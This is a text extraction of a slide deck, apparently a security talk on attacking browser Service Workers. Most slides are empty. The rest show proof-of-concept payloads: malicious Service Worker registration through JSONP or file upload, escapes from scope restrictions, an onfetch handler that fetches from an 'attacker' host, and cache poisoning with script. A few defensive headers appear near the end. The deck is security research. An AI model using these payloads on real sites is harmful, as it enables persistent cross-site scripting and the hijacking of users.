Slide 1

Slide 1 text

No content

Slide 2

Slide 2 text

No content

Slide 3

Slide 3 text

• •

Slide 4

Slide 4 text

• • • navigator.serviceWorker.register("/sw.js")

Slide 5

Slide 5 text

• • •

Slide 6

Slide 6 text

• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23

Slide 7

Slide 7 text

No content

Slide 8

Slide 8 text

HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});

Slide 9

Slide 9 text

navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] onfetch=event=>console.log('fetch')//({});

Slide 10

Slide 10 text

var formData = new FormData(); formData.append("csrf_token", "secret"); var sw = "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */);

Slide 11

Slide 11 text

• •

Slide 12

Slide 12 text

• • onfetch=e=>{ body = 'alert(1)'; init = {headers: {'content-type': 'text/html'}}; e.respondWith(new Response(body,init)); }

Slide 13

Slide 13 text

• • • navigator.serviceWorker.register("/sw.js", {scope: "/"})

Slide 14

Slide 14 text

• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope: "/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}

Slide 15

Slide 15 text

HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]

Slide 16

Slide 16 text

https://example.com/api/jsonp https://example.com/api%2Fjsonp

Slide 17

Slide 17 text

❝ ❞

Slide 18

Slide 18 text

https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F

Slide 19

Slide 19 text

No content

Slide 20

Slide 20 text

• • •

Slide 21

Slide 21 text

onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •

Slide 22

Slide 22 text

https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016

Slide 23

Slide 23 text

❝ ❞

Slide 24

Slide 24 text

Slide 25

Slide 25 text

self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// }); }); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }

Slide 26

Slide 26 text

• •

Slide 27

Slide 27 text

onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };

Slide 28

Slide 28 text

caches.open("v1").then(function(cache){ content = "<script>alert(1)"; init = {headers: {"content-type": "text/html"}}; request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); })

Slide 29

Slide 29 text

document.write(localStorage.getItem('name'));

Slide 30

Slide 30 text

• • •

Slide 31

Slide 31 text

• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"

Slide 32

Slide 32 text

GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6

Slide 33

Slide 33 text

• •

Slide 34

Slide 34 text

No content

Slide 35

Slide 35 text

No content